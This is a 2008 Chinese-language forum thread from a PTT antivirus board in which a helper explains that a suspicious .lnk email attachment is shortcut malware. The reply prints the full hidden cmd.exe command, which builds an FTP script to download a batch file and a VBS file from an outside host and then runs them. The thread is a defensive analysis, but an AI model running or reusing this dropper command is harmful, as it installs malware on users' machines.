作者xiaoyao (改变)
看板AntiVirus
标题Re: [中毒] 我的IE怪怪的 是中毒了吗?
时间Tue Dec 30 20:22:01 2008
※ 引述《zenk73 (Evan)》之铭言：
: 我的IE要连去各个地方法院的网站都会移到以下网址
: http://wsearch.net/?unknown
: 爬文有听说 IE7的问题 可是我有更新过了 用NOD32和趋势的线上扫毒都没办法解决
: 我妈用我的电脑看email 有署名我爸的寄件者寄给她
: 可是副档名是.ink 而且档案很小 重点是我爸说他没寄 ˊˋ
: 不知道是不是因为那个的关系
: 去google搜寻这个网址的资讯没有中文资料
: 但是有国外的人有和我一样的问题
: 请问要如何解决呢 ~"~ 谢谢
您说的那是.lnk才对
捷径Malware 大多数的防毒软体无法侦测
市面上能侦测出的不超过5家
捷径的内容藏有指令
呼叫连结FTP下载真正的木马病毒
%windir%\system32\cmd.exe /c
echo open lin31003100.3322.org > t.t
echo 123>>t.t
echo 123>>t.t
echo get down3.bat c:\down3.bat >> t.t
&echo get vnet3.vbs %windir%\vnet3.vbs >> t.t
echo bye >> t.t
ftp -s:t.t
del t.t
start %windir%\vnet3.vbs&
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 140.130.189.41
1F：推 joycewanga:好可怕 12/30 20:36
2F：推 lcjjaff:挖喔...都已经分析完了XD 只要那个vb档不要太机车.. 12/30 20:59
3F：→ lcjjaff:一切好说@@a 12/30 20:59
4F：推 zenk73:天呀 除了重灌 还有救吗? 12/30 21:00
5F：→ zenk73:那网页绑架也是那个病毒的关系吗? 还是又不同病毒= =? 12/30 21:03
6F：→ lcjjaff:z扫log上来问吧XD 12/30 21:13
8F：→ zenk73:不好意思 刚刚才看到置底文~"~ 12/30 21:15
10F：→ lcjjaff:删掉c:\winnt\vnet.vbs 12/30 21:23
12F：→ zenk73:vnet删掉了 网页还是不能进入 > <" 12/30 21:25